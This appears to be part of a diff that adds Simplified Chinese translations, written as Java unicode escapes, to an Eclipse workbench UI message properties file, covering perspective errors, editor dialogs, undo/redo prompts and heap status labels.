+Perspective_multipleErrors=\u4fdd\u5b58\u5de5\u4f5c\u53f0\u65f6\u53d1\u751f\u4e86\u9519\u8bef\uff1a\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 +Perspective_problemRestoringTitle=\u6b63\u5728\u590d\u539f\u95ee\u9898 +Perspective_errorReadingState=\u65e0\u6cd5\u8bfb\u53d6\u5de5\u4f5c\u53f0\u72b6\u6001\u3002 +Perspective_problemLoadingTitle=\u6b63\u5728\u88c5\u5165\u95ee\u9898 +Perspective_couldNotBeFound=\u627e\u4e0d\u5230\u900f\u89c6\u56fe ''{0}'' \u7684\u63cf\u8ff0\u3002 +WorkbenchPage_problemRestoringTitle=\u6b63\u5728\u590d\u539f\u95ee\u9898 +WorkbenchPage_errorReadingState=\u65e0\u6cd5\u8bfb\u53d6\u5de5\u4f5c\u53f0\u72b6\u6001\u3002 +Perspective_problemSavingTitle=\u6b63\u5728\u4fdd\u5b58\u95ee\u9898 +Perspective_problemSavingMessage=\u65e0\u6cd5\u5b58\u50a8\u5e03\u5c40\u72b6\u6001\u3002 +Perspective_unableToLoad=\u65e0\u6cd5\u88c5\u5165\u900f\u89c6\u56fe\uff1a{0} +Perspective_couldNotFind=\u627e\u4e0d\u5230\u89c6\u56fe\uff1a{0} +Menu=\u83dc\u5355 +ViewMenu=\u89c6\u56fe\u83dc\u5355 +StandardSystemToolbar_Minimize=\u6700\u5c0f\u5316 +StandardSystemToolbar_Maximize=\u6700\u5927\u5316 +StandardSystemToolbar_Restore=\u590d\u539f +EditorArea_Tooltip=\u7f16\u8f91\u5668\u533a\u57df +ViewPane_fastView=\u5feb\u901f\u89c6\u56fe(&F) +ViewPane_minimizeView=\u6700\u5c0f\u5316(&N) +ViewPane_moveView=\u67e5\u770b(&V) +ViewPane_moveFolder=\u9009\u9879\u5361\u7ec4(&T) +EditorPane_moveEditor=\u7f16\u8f91\u5668(&E) +ViewLabel_unknown=\u672a\u77e5 +ViewFactory_initException=\u672a\u80fd\u521b\u5efa\u89c6\u56fe\uff1a{0} +ViewFactory_siteException=\u89c6\u56fe\u521d\u59cb\u5316\u5931\u8d25\uff1a{0}\u3002\u4f4d\u7f6e\u4e0d\u6b63\u786e\u3002 +ViewFactory_couldNotCreate=\u672a\u80fd\u521b\u5efa\u89c6\u56fe\uff1a{0} +ViewFactory_noMultiple=\u89c6\u56fe\u4e2d\u4e0d\u5141\u8bb8\u5b58\u5728\u591a\u4e2a\u5b9e\u4f8b\uff1a{0} +ViewFactory_couldNotSave=\u672a\u80fd\u4fdd\u5b58\u89c6\u56fe\uff1a{0} +WorkbenchPage_UnknownLabel=<\u672a\u77e5\u6807\u7b7e> +WorkbenchPage_editorAlreadyOpenedMsg=\u201c{0}\u201d\u5df2\u6253\u5f00\u5e76\u4e14\u5177\u6709\u672a\u4fdd\u5b58\u7684\u66f4\u6539\u3002\u60f3\u8981\u4fdd\u5b58\u5b83\u5417\uff1f +PartPane_sizeLeft=\u5de6(&L) +PartPane_sizeRight=\u53f3(&R) +PartPane_sizeTop=\u9876\u90e8(&T) +PartPane_sizeBottom=\u5e95\u90e8(&B) +PartPane_detach=\u5df2\u62c6\u79bb(&D) +PartPane_restore=\u6062\u590d(&R) +PartPane_move=\u79fb\u52a8(&M) +PartPane_size=\u5927\u5c0f(&S) +PartPane_maximize=\u6700\u5927\u5316(&X) +PartPane_close=\u5173\u95ed(&C) +PartPane_closeOthers=\u5173\u95ed\u5176\u4ed6(&O) +PartPane_closeAll=\u5168\u90e8\u5173\u95ed(&A) +PartPane_newEditor=\u65b0\u5efa\u7f16\u8f91\u5668(&E) +PluginAction_operationNotAvailableMessage=\u9009\u62e9\u7684\u64cd\u4f5c\u5f53\u524d\u4e0d\u53ef\u7528\u3002 +PluginAction_disabledMessage=\u672a\u542f\u7528\u9009\u62e9\u7684\u64cd\u4f5c\u3002 +ActionDescriptor_invalidLabel=\u672a\u77e5\u6807\u7b7e +XMLMemento_parserConfigError=\u5185\u90e8 XML \u89e3\u6790\u5668\u914d\u7f6e\u9519\u8bef\u3002 +XMLMemento_ioError=\u672a\u80fd\u8bfb\u53d6 XML \u6587\u4ef6\u7684\u5185\u5bb9\u3002 +XMLMemento_formatError=\u672a\u80fd\u5206\u6790 XML \u6587\u4ef6\u7684\u5185\u5bb9\u3002 +XMLMemento_noElement=\u627e\u4e0d\u5230 XML \u6587\u4ef6\u7684\u6839\u5143\u7d20\u8282\u70b9\u3002 +StatusUtil_errorOccurred=\u629b\u51fa\u610f\u5916\u5f02\u5e38\u3002 +WorkbenchWindow_exceptionMessage=\u5f02\u5e38\u7684\u5de5\u4f5c\u53f0\u60c5\u51b5 +WorkbenchPage_AbnormalWorkbenchCondition=\u5f02\u5e38\u7684\u5de5\u4f5c\u53f0\u60c5\u51b5 +WorkbenchPage_IllegalSecondaryId=\u975e\u6cd5\u8f85\u52a9\u6807\u8bc6\uff08\u4e0d\u80fd\u4e3a\u7a7a\u6216\u5305\u542b\u5192\u53f7\uff09 +WorkbenchPage_IllegalViewMode=\u975e\u6cd5\u67e5\u770b\u65b9\u5f0f +WorkbenchPart_AutoTitleFormat={0}\uff08{1}\uff09 +EditorPart_AutoTitleFormat={0} \uff0d {1} +Abnormal_Workbench_Conditi=\u5f02\u5e38\u7684\u5de5\u4f5c\u53f0\u60c5\u51b5 +AbstractWorkingSetManager_updatersActivating=\u6fc0\u6d3b\u6346\u7ed1\u8f6f\u4ef6 {0} \u7684\u5de5\u4f5c\u96c6\u66f4\u65b0\u7a0b\u5e8f +WorkbenchPage_ErrorActivatingView=\u6fc0\u6d3b\u6b64\u89c6\u56fe\u65f6\u51fa\u9519 +DecoratorManager_ErrorActivatingDecorator=\u6fc0\u6d3b\u4fee\u9970\u7b26 {0} \u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +EditorRegistry_errorTitle=\u88c5\u5165\u95ee\u9898 +EditorRegistry_errorMessage=\u65e0\u6cd5\u88c5\u5165\u7f16\u8f91\u5668\u5173\u8054\u3002 +ErrorClosing=\u5173\u95ed\u5de5\u4f5c\u53f0\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 +ErrorClosingNoArg=\u53d1\u751f\u4e86\u9519\u8bef\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002\u60f3\u8981\u9000\u51fa\u5417\uff1f +ErrorClosingOneArg=\u5df2\u7ecf\u53d1\u751f\u4e86\u9519\u8bef\uff1a{0}\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002\u60f3\u8981\u9000\u51fa\u5417\uff1f +ErrorReadingState=\u65e0\u6cd5\u8bfb\u53d6\u5de5\u4f5c\u53f0\u72b6\u6001\u3002\u5c06\u590d\u4f4d\u5de5\u4f5c\u53f0 UI \u5e03\u5c40\u3002 +Invalid_workbench_state_ve=\u5de5\u4f5c\u53f0\u72b6\u6001\u7248\u672c\u65e0\u6548\u3002\u5c06\u5220\u9664 workbench.xml +Workbench_incompatibleUIState=\u4e0d\u80fd\u4fdd\u7559\u5e03\u5c40 +Workbench_incompatibleSavedStateVersion=\u4fdd\u5b58\u7684\u7528\u6237\u754c\u9762\u5e03\u5c40\u662f\u65e7\u683c\u5f0f\uff0c\u65e0\u6cd5\u4fdd\u5b58\u3002\n\n\u60a8\u7684\u9879\u76ee\u548c\u6587\u4ef6\u5c06\u4e0d\u53d7\u5f71\u54cd\u3002\n\n\u6309\u201c\u786e\u5b9a\u201d\u53ef\u8f6c\u6362\u4e3a\u65b0\u683c\u5f0f\u3002\n\u6309\u201c\u53d6\u6d88\u201d\u53ef\u9000\u51fa\u800c\u4e0d\u8fdb\u884c\u66f4\u6539\u3002 +ProblemSavingState=\u65e0\u6cd5\u5b58\u50a8\u5de5\u4f5c\u53f0\u72b6\u6001\u3002 +SavingProblem=\u6b63\u5728\u4fdd\u5b58\u95ee\u9898 +Problems_Opening_Page=\u6253\u5f00\u9875\u9762\u65f6\u51fa\u73b0\u95ee\u9898 +Restoring_Problems=\u6b63\u5728\u590d\u539f\u95ee\u9898 +Startup_Loading=\u6b63\u5728\u88c5\u5165 {0} +Startup_Loading_Workbench=\u88c5\u5165\u5de5\u4f5c\u53f0 +Startup_Done=\u5b8c\u6210 +Workspace_problemsTitle=\u95ee\u9898 +Workbench_problemsRestoringMsg=\u672a\u80fd\u590d\u539f\u5de5\u4f5c\u53f0\u5e03\u5c40\u3002 +Workbench_problemsSavingMsg=\u672a\u80fd\u4fdd\u5b58\u5de5\u4f5c\u53f0\u5e03\u5c40\u3002 +Workbench_problemsRestoring=\u590d\u539f\u5de5\u4f5c\u53f0\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +Workbench_problemsSaving=\u4fdd\u5b58\u5de5\u4f5c\u53f0\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +WorkbenchWindow_problemsRestoringWindow=\u590d\u539f\u7a97\u53e3\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +WorkbenchWindow_problemsSavingWindow=\u4fdd\u5b58\u7a97\u53e3\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +RootLayoutContainer_problemsRestoringPerspective=\u590d\u539f\u900f\u89c6\u56fe\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +RootLayoutContainer_problemsSavingPerspective=\u4fdd\u5b58\u900f\u89c6\u56fe\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +ViewFactory_problemsSavingViews=\u4fdd\u5b58\u89c6\u56fe\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +Perspective_problemsRestoringPerspective=\u590d\u539f\u900f\u89c6\u56fe\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +Perspective_problemsSavingPerspective=\u4fdd\u5b58\u900f\u89c6\u56fe\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +Perspective_problemsRestoringViews=\u590d\u539f\u89c6\u56fe\u65f6\u51fa\u73b0\u4e86\u95ee\u9898\u3002 +WorkbenchWindow_unableToRestorePerspective=\u65e0\u6cd5\u590d\u539f\u900f\u89c6\u56fe\uff1a{0}\u3002 +WorkbenchPage_unableToRestorePerspective=\u65e0\u6cd5\u590d\u539f\u900f\u89c6\u56fe\uff1a{0}\u3002 +WorkbenchPage_unableToSavePerspective=\u65e0\u6cd5\u4fdd\u5b58\u900f\u89c6\u56fe\uff1a{0}\u3002 +Perspective_unableToRestorePerspective=\u65e0\u6cd5\u590d\u539f\u900f\u89c6\u56fe\uff1a{0}\u3002 +PageLayout_missingRefPart=\u5f15\u7528\u90e8\u4ef6\u4ecd\u4e0d\u5b58\u5728\uff1a{0}\u3002 +PageLayout_duplicateRefPart=\u90e8\u4ef6\u5df2\u5728\u9875\u9762\u5e03\u5c40\u4e2d\u5b58\u5728\uff1a{0}\u3002 +PartStack_incorrectPartInFolder=\u90e8\u4ef6\u5806\u6808\u4e2d\u5305\u542b\u9519\u8bef\u7684\u90e8\u4ef6 {0}\u3002 +PinEditorAction_text=\u9501\u5b9a\u7f16\u8f91\u5668 +PinEditorAction_toolTip=\u9501\u5b9a\u7f16\u8f91\u5668 +WorkbenchPreference_reuseEditors=\u81ea\u52a8\u5173\u95ed\u7f16\u8f91\u5668(&C) +WorkbenchPreference_reuseDirtyEditorGroupTitle=\u5f53\u6240\u6709\u7f16\u8f91\u5668\u662f\u810f\u7684\u6216\u88ab\u9501\u5b9a\u65f6 +WorkbenchPreference_promptToReuseEditor=\u63d0\u793a\u4fdd\u5b58\u5e76\u91cd\u7528(&P) +WorkbenchPreference_openNewEditor=\u6253\u5f00\u65b0\u7684\u7f16\u8f91\u5668(&W) +WorkbenchPreference_reuseEditorsThreshold=\u5173\u95ed\u4e4b\u524d\u5df2\u6253\u5f00\u7684\u7f16\u8f91\u5668\u6570\u76ee(&N)\uff1a +WorkbenchPreference_reuseEditorsThresholdError=\u5df2\u6253\u5f00\u7684\u7f16\u8f91\u5668\u6570\u76ee\u5e94\u5927\u4e8e 0\u3002 +WorkbenchPreference_recentFiles=\u6700\u8fd1\u6253\u5f00\u7684\u6587\u4ef6\u5217\u8868\u7684\u5927\u5c0f(&R)\uff1a +WorkbenchPreference_recentFilesError=\u6700\u8fd1\u6253\u5f00\u6587\u4ef6\u5217\u8868\u7684\u5927\u5c0f\u5e94\u8be5\u4ecb\u4e8e 0 \u4e0e {0} \u4e4b\u95f4\u3002 +WorkbenchEditorsAction_label=\u5207\u6362\u81f3\u7f16\u8f91\u5668(&W)... +WorkbookEditorsAction_label=\u5feb\u901f\u5207\u6362\u7f16\u8f91\u5668(&Q) +WorkbenchEditorsDialog_title=\u5207\u6362\u81f3\u7f16\u8f91\u5668 +WorkbenchEditorsDialog_label=\u9009\u62e9\u8981\u5207\u6362\u81f3\u7684\u7f16\u8f91\u5668(&E)\uff1a +WorkbenchEditorsDialog_closeSelected=\u5173\u95ed\u9009\u62e9\u7684\u7f16\u8f91\u5668(&C) +WorkbenchEditorsDialog_saveSelected=\u4fdd\u5b58\u9009\u62e9\u7684\u7f16\u8f91\u5668(&S) +WorkbenchEditorsDialog_selectClean=\u9009\u62e9\u5e72\u51c0\u7f16\u8f91\u5668(&L) +WorkbenchEditorsDialog_invertSelection=\u53cd\u9009(&I) +WorkbenchEditorsDialog_allSelection=\u5168\u90e8\u9009\u4e2d(&A) +WorkbenchEditorsDialog_showAllPersp=\u4ece\u6240\u6709\u7a97\u53e3\u4e2d\u663e\u793a\u7f16\u8f91\u5668(&W) +WorkbenchEditorsDialog_name=\u540d\u79f0 +WorkbenchEditorsDialog_path=\u8def\u5f84 +WorkbenchEditorsDialog_activate=\u6fc0\u6d3b\u6240\u9009\u7f16\u8f91\u5668(&T) +WorkbenchEditorsDialog_close=\u5173\u95ed +ShowPartPaneMenuAction_text=\u663e\u793a\u7cfb\u7edf\u83dc\u5355(&S) +ShowPartPaneMenuAction_toolTip=\u663e\u793a\u7cfb\u7edf\u83dc\u5355 +ShowViewMenuAction_text=\u663e\u793a\u89c6\u56fe\u83dc\u5355(&M) +ShowViewMenuAction_toolTip=\u663e\u793a\u89c6\u56fe\u83dc\u5355 +QuickAccessAction_text=\u5feb\u901f\u8bbf\u95ee(&Q) +QuickAccessAction_toolTip=\u5feb\u901f\u8bbf\u95ee +ToggleCoolbarVisibilityAction_show_text=\u663e\u793a\u5de5\u5177\u680f(&T) +ToggleCoolbarVisibilityAction_hide_text=\u9690\u85cf\u5de5\u5177\u680f(&T) +ToggleCoolbarVisibilityAction_toolTip=\u5207\u6362\u7a97\u53e3\u5de5\u5177\u680f\u548c\u900f\u89c6\u56fe\u5207\u6362\u5668\u7684\u53ef\u89c6\u6027 +ProblemSavingWorkingSetState_message=\u65e0\u6cd5\u5b58\u50a8\u5de5\u4f5c\u96c6\u72b6\u6001\u3002 +ProblemSavingWorkingSetState_title=\u6b63\u5728\u4fdd\u5b58\u95ee\u9898 +ProblemRestoringWorkingSetState_message=\u65e0\u6cd5\u590d\u539f\u5de5\u4f5c\u96c6\u72b6\u6001\u3002 +ProblemRestoringWorkingSetState_title=\u6b63\u5728\u590d\u539f\u95ee\u9898 +WorkingSetEditWizard_title=\u7f16\u8f91\u5de5\u4f5c\u96c6 +WorkingSetNewWizard_title=\u65b0\u5efa\u5de5\u4f5c\u96c6 +WorkingSetTypePage_description=\u9009\u62e9\u5de5\u4f5c\u96c6\u7c7b\u578b +WorkingSetTypePage_typesLabel=\u5de5\u4f5c\u96c6\u7c7b\u578b(&W)\uff1a +WorkingSetSelectionDialog_title=\u9009\u62e9\u5de5\u4f5c\u96c6 +WorkingSetSelectionDialog_title_multiSelect=\u9009\u62e9\u5de5\u4f5c\u96c6 +WorkingSetSelectionDialog_message=\u9009\u62e9\u5de5\u4f5c\u96c6(&S)\uff1a +WorkingSetSelectionDialog_message_multiSelect=\u9009\u62e9\u5de5\u4f5c\u96c6(&S)\uff1a +WorkingSetSelectionDialog_detailsButton_label=\u7f16\u8f91(&E)... +WorkingSetSelectionDialog_newButton_label=\u65b0\u5efa(&N)... +WorkingSetSelectionDialog_removeButton_label=\u79fb\u9664(&R) +WorkbenchPage_workingSet_default_label=\u7a97\u53e3\u5de5\u4f5c\u96c6 +WorkbenchPage_workingSet_multi_label=\u591a\u4e2a\u5de5\u4f5c\u96c6 +SystemSummary_title=\u914d\u7f6e\u8be6\u7ec6\u4fe1\u606f +SystemSummary_timeStamp=*** \u65e5\u671f\uff1a{0} +SystemSummary_systemProperties=*** \u7cfb\u7edf\u5c5e\u6027\uff1a +SystemSummary_features=*** \u529f\u80fd\u90e8\u4ef6\uff1a +SystemSummary_pluginRegistry=*** \u63d2\u4ef6\u6ce8\u518c\u8868\uff1a +SystemSummary_userPreferences=*** \u7528\u6237\u9996\u9009\u9879\uff1a +SystemSummary_sectionTitle=*** {0}\uff1a +SystemSummary_sectionError=\u672a\u80fd\u5199\u8be5\u90e8\u5206\uff0c\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u3002 +SystemSummary_featureVersion={0}\uff08{1}\uff09\u201c{2}\u201d +SystemMenuMovePane_PaneName=\u7a97\u683c(&P) +SystemSummary_descriptorIdVersionState={0}\uff08{1}\uff09\u201c{2}\u201d[{3}] +EditorList_saveSelected_text=\u4fdd\u5b58(&S) +EditorList_saveSelected_toolTip=\u4fdd\u5b58 +EditorList_closeSelected_text=\u5173\u95ed(&C) +EditorList_closeSelected_toolTip=\u5173\u95ed +EditorList_selectClean_text=\u9009\u62e9\u5e72\u51c0\u7684\u7f16\u8f91\u5668(&C) +EditorList_selectClean_toolTip=\u9009\u62e9\u5e72\u51c0\u7684\u7f16\u8f91\u5668 +EditorList_invertSelection_text=\u53cd\u9009(&I) +EditorList_invertSelection_toolTip=\u53cd\u9009 +EditorList_selectAll_text=\u5168\u90e8\u9009\u4e2d(&A) +EditorList_selectAll_toolTip=\u5168\u90e8\u9009\u4e2d +EditorList_FullName_text=\u663e\u793a\u5168\u540d(&N) +EditorList_FullName_toolTip=\u663e\u793a\u5168\u540d +EditorList_SortBy_text=\u6392\u5e8f\u4f9d\u636e(&B) +EditorList_SortByName_text=\u540d\u79f0(&N) +EditorList_SortByName_toolTip=\u540d\u79f0 +EditorList_SortByMostRecentlyUsed_text=\u6700\u8fd1\u4f7f\u7528\u7684(&M) +EditorList_SortByMostRecentlyUsed_toolTip=\u6700\u8fd1\u4f7f\u7528\u7684 +EditorList_ApplyTo_text=\u663e\u793a\u7f16\u8f91\u5668\u4e8e(&F) +EditorList_DisplayAllWindows_text=\u6240\u6709\u7a97\u53e3(&A) +EditorList_DisplayAllWindows_toolTip=\u4ece\u6240\u6709\u7a97\u53e3\u663e\u793a\u7f16\u8f91\u5668 +EditorList_DisplayAllPage_text=\u5f53\u524d\u7a97\u53e3(&C) +EditorList_DisplayAllPage_toolTip=\u5728\u5f53\u524d\u7a97\u53e3\u4e2d\u663e\u793a\u7f16\u8f91\u5668 +EditorList_DisplayTabGroup_text=\u9009\u9879\u5361\u7ec4(&T) +EditorList_DisplayTabGroup_toolTip=\u5728\u9009\u9879\u5361\u7ec4\u4e2d\u663e\u793a\u7f16\u8f91\u5668 +DecorationScheduler_UpdateJobName=\u5bf9\u5b8c\u6210\u7684\u4fee\u9970\u7684\u66f4\u65b0 +DecorationScheduler_CalculationJobName=\u4fee\u9970\u8ba1\u7b97 +DecorationScheduler_UpdatingTask=\u6b63\u5728\u66f4\u65b0 +DecorationScheduler_CalculatingTask=\u8ba1\u7b97\u4fee\u9970 +DecorationScheduler_ClearResultsJob=\u6e05\u9664\u7ed3\u679c +DecorationScheduler_DecoratingSubtask=\u6b63\u5728\u4fee\u9970 {0} +PerspectiveBar_showText=\u663e\u793a\u6587\u672c(&T) +PerspectiveBar_customize=\u5b9a\u5236(&Z)... +PerspectiveBar_saveAs=\u53e6\u5b58\u4e3a(&A)... +PerspectiveBar_reset=\u590d\u4f4d(&R) +PerspectiveSwitcher_dockOn=\u505c\u653e\u4f4d\u7f6e(&D) +PerspectiveSwitcher_topRight=\u53f3\u4e0a\u65b9 +PerspectiveSwitcher_topLeft=\u5de6\u4e0a\u65b9 +PerspectiveSwitcher_left=\u5de6\u7bad\u5934 +FastViewBar_view_orientation=\u65b9\u4f4d(&O) +FastViewBar_horizontal=\u6c34\u5e73(&H) +FastViewBar_vertical=\u5782\u76f4(&V) +FastViewBar_show_view=\u65b0\u5efa\u5feb\u901f\u89c6\u56fe(&N) +WorkbenchPlugin_extension=\u4e0d\u80fd\u521b\u5efa\u6269\u5c55 +EventLoopProgressMonitor_OpenDialogJobName=\u6253\u5f00\u5df2\u963b\u585e\u7684\u5bf9\u8bdd\u6846 +DecorationReference_EmptyReference=\u6b63\u5728\u4fee\u9970 +RectangleAnimation_Animating_Rectangle=\u52a8\u753b\u77e9\u5f62 +FilteredList_UpdateJobName=\u8868\u66f4\u65b0 +FilteredTree_ClearToolTip=\u6e05\u9664 +FilteredTree_FilterMessage=\u8f93\u5165\u8fc7\u6ee4\u5668\u6587\u672c +FilteredTree_FilteredDialogTitle={0}\uff08\u5df2\u8fc7\u6ee4\uff09 +FilteredTree_AccessibleListenerFiltered={0} {1} \u4e2a\u5339\u914d\u9879\u3002 +Workbench_restoreDisabled=\u6b64\u5e94\u7528\u7a0b\u5e8f\u4e0d\u4f1a\u4fdd\u5b58\u548c\u590d\u539f\u5148\u524d\u4fdd\u5b58\u7684\u72b6\u6001\u3002 +Workbench_noStateToRestore=\u6ca1\u6709\u8981\u590d\u539f\u7684\u5148\u524d\u4fdd\u5b58\u7684\u72b6\u6001\u3002 +Workbench_noWindowsRestored=\u6ca1\u6709\u590d\u539f\u4efb\u4f55\u7a97\u53e3\u3002 +Workbench_startingPlugins=\u542f\u52a8\u63d2\u4ef6 +ScopedPreferenceStore_DefaultAddedError=\u4e0d\u8981\u5c06\u7f3a\u7701\u503c\u6dfb\u52a0\u81f3\u641c\u7d22\u4e0a\u4e0b\u6587 +WorkbenchEncoding_invalidCharset={0} \u4e0d\u662f\u6709\u6548\u7684\u5b57\u7b26\u96c6\u3002 +Dynamic_resetPerspectiveMessage=\u5bf9\u5df2\u5b89\u88c5\u7684\u63d2\u4ef6\u7684\u66f4\u6539\u5f71\u54cd\u4e86\u6b64\u900f\u89c6\u56fe\u3002\u60f3\u8981\u590d\u4f4d\u6b64\u900f\u89c6\u56fe\u4ee5\u63a5\u53d7\u8fd9\u4e9b\u66f4\u6539\u5417\uff1f +Dynamic_resetPerspectiveTitle=\u8981\u590d\u4f4d\u900f\u89c6\u56fe\u5417\uff1f +Operations_undoCommand=\u64a4\u9500 {0}(&U) +Operations_redoCommand=\u91cd\u505a {0}(&R) +Operations_undoTooltipCommand=\u64a4\u9500 {0} +Operations_redoTooltipCommand=\u91cd\u505a {0} +Operations_undoRedoCommandDisabled=\u4e0d\u80fd {0} +Operations_undoProblem=\u64a4\u9500\u95ee\u9898 +Operations_redoProblem=\u91cd\u505a\u95ee\u9898 +Operations_executeProblem=\u6267\u884c\u64cd\u4f5c\u65f6\u51fa\u73b0\u95ee\u9898 +Operations_undoInfo=\u64a4\u9500\u4fe1\u606f +Operations_redoInfo=\u91cd\u505a\u4fe1\u606f +Operations_executeInfo=\u64cd\u4f5c\u4fe1\u606f +Operations_undoWarning=\u64a4\u9500\u8b66\u544a +Operations_redoWarning=\u91cd\u505a\u8b66\u544a +Operations_executeWarning=\u64cd\u4f5c\u8b66\u544a +Operations_linearUndoViolation=\u7531\u4e8e\u6267\u884c\u4e86\u201c{1}\u201d\uff0c\u56e0\u6b64\u201c{0}\u201d\u4e2d\u5df2\u7ecf\u6709\u672c\u5730\u66f4\u6539\u3002\u5fc5\u987b\u64a4\u9500\u8fd9\u4e9b\u66f4\u6539\u624d\u80fd\u7ee7\u7eed\u3002\u4e00\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +Operations_linearRedoViolation=\u7531\u4e8e\u5df2\u7ecf\u64a4\u9500\u4e86\u201c{1}\u201d\uff0c\u56e0\u6b64\uff0c\u5df2\u7ecf\u64a4\u9500\u4e86\u201c{0}\u201d\u4e2d\u7684\u672c\u5730\u66f4\u6539\u3002\u5fc5\u987b\u91cd\u505a\u5b83\u4eec\u624d\u80fd\u7ee7\u7eed\u3002\u8981\u7ee7\u7eed\u91cd\u505a\u201c{1}\u201d\u5417\uff1f +Operations_nonLocalUndoWarning=\u64a4\u9500\u201c{0}\u201d\u5c06\u5f71\u54cd\u201c{1}\u201d\u4e4b\u5916\u7684\u5143\u7d20\u3002\u8981\u7ee7\u7eed\u64a4\u9500\u201c{0}\u201d\u5417\uff1f +Operations_nonLocalRedoWarning=\u91cd\u505a\u201c{0}\u201d\u5c06\u5f71\u54cd\u201c{1}\u201d\u4e4b\u5916\u7684\u5143\u7d20\u3002\u8981\u7ee7\u7eed\u91cd\u505a\u201c{0}\u201d\u5417\uff1f +Operations_discardUndo=\u5e9f\u5f03\u64a4\u9500(&D) +Operations_discardRedo=\u5e9f\u5f03\u91cd\u505a(&D) +Operations_proceedWithNonOKUndoStatus={0}\n\u4e00\u5b9a\u8981\u7ee7\u7eed\u64a4\u9500\u201c{1}\u201d\u5417\uff1f +Operations_proceedWithNonOKRedoStatus={0}\n\u4e00\u5b9a\u8981\u7ee7\u7eed\u91cd\u505a\u201c{1}\u201d\u5417\uff1f +Operations_proceedWithNonOKExecuteStatus={0}\n\u4e00\u5b9a\u8981\u7ee7\u7eed\u6267\u884c\u201c{1}\u201d\u5417\uff1f +Operations_stoppedOnUndoErrorStatus=\u201c{1}\u201d\u65e0\u6cd5\u64a4\u9500\u3002\n\u539f\u56e0\uff1a{0} +Operations_stoppedOnRedoErrorStatus=\u201c{1}\u201d\u65e0\u6cd5\u91cd\u505a\u3002\n\u539f\u56e0\uff1a{0} +Operations_stoppedOnExecuteErrorStatus=\u201c{1}\u201d\u65e0\u6cd5\u6267\u884c\u3002\n\u539f\u56e0\uff1a{0} +HeapStatus_status={0}\uff08\u5171 {1}\uff09 +HeapStatus_widthStr=MMMMMMMMMMMM +HeapStatus_memoryToolTip=\u5806\u5927\u5c0f\uff1a{0}\uff0c\u603b\u5927\u5c0f\uff1a{1} \u6700\u5927\u5927\u5c0f\uff1a{2} \u6807\u8bb0\uff1a{3} +HeapStatus_meg={0}M +HeapStatus_maxUnknown=<\u672a\u77e5> +HeapStatus_noMark=<\u65e0> +HeapStatus_buttonToolTip=\u8fd0\u884c\u5783\u573e\u6536\u96c6\u5668 +SetMarkAction_text=\u8bbe\u7f6e\u6807\u8bb0(&S) +ClearMarkAction_text=\u6e05\u9664\u6807\u8bb0(&C) +ShowMaxAction_text=\u663e\u793a\u6700\u5927\u5806\u5927\u5c0f(&M) +ContentTypes_lockedFormat={0}\uff08\u5df2\u9501\u5b9a\uff09 +ContentTypes_characterSetLabel=\u7f3a\u7701\u7f16\u7801(&E)\uff1a +ContentTypes_characterSetUpdateLabel=\u66f4\u65b0(&U) +ContentTypes_fileAssociationsLabel=\u6587\u4ef6\u5173\u8054(&F)\uff1a +ContentTypes_fileAssociationsAddLabel=\u6dfb\u52a0(&A)... +ContentTypes_fileAssociationsEditLabel=\u7f16\u8f91(&E)... +ContentTypes_fileAssociationsRemoveLabel=\u79fb\u9664(&R) +ContentTypes_contentTypesLabel=\u5185\u5bb9\u7c7b\u578b(&C)\uff1a +ContentTypes_errorDialogMessage=\u5728\u9664\u53bb\u5185\u5bb9\u7c7b\u578b\u6587\u4ef6\u5173\u8054\u65f6\u5b58\u5728\u9519\u8bef\u3002 +ContentTypes_FileEditorsRelatedLink=\u6709\u5173\u5982\u4f55\u4f7f\u7f16\u8f91\u5668\u4e0e\u6587\u4ef6\u7c7b\u578b\u76f8\u5173\u8054\u7684\u4fe1\u606f\uff0c\u8bf7\u53c2\u9605\u201c{0}\u201d\u3002 +ContentTypes_addDialog_title=\u6dfb\u52a0\u5185\u5bb9\u7c7b\u578b\u5173\u8054 +ContentTypes_addDialog_messageHeader=\u5b9a\u4e49\u65b0\u7684\u5185\u5bb9\u7c7b\u578b\u5173\u8054 +ContentTypes_addDialog_message=\u8f93\u5165\u8981\u6dfb\u52a0\u7684\u5185\u5bb9\u7c7b\u578b\u5173\u8054\uff1a\uff08\u4f8b\u5982\uff0c*.doc \u6216 report.doc\uff09 +ContentTypes_addDialog_label=\u5185\u5bb9\u7c7b\u578b(&C)\uff1a +ContentTypes_editDialog_title=\u7f16\u8f91\u5185\u5bb9\u7c7b\u578b\u5173\u8054 +ContentTypes_editDialog_messageHeader=\u7f16\u8f91\u5185\u5bb9\u7c7b\u578b\u5173\u8054 +ContentTypes_editDialog_message=\u7f16\u8f91\u5185\u5bb9\u7c7b\u578b\u5173\u8054\uff1a\uff08\u4f8b\u5982\uff0c*.doc \u6216 report.doc\uff09 +ContentTypes_editDialog_label=\u5185\u5bb9\u7c7b\u578b(&C)\uff1a +CommandService_AutogeneratedCategoryName=\u53d6\u6d88\u5206\u7c7b +CommandService_AutogeneratedCategoryDescription=\u547d\u4ee4\u662f\u81ea\u52a8\u751f\u6210\u7684\uff0c\u6216\u8005\u6ca1\u6709\u5206\u7c7b 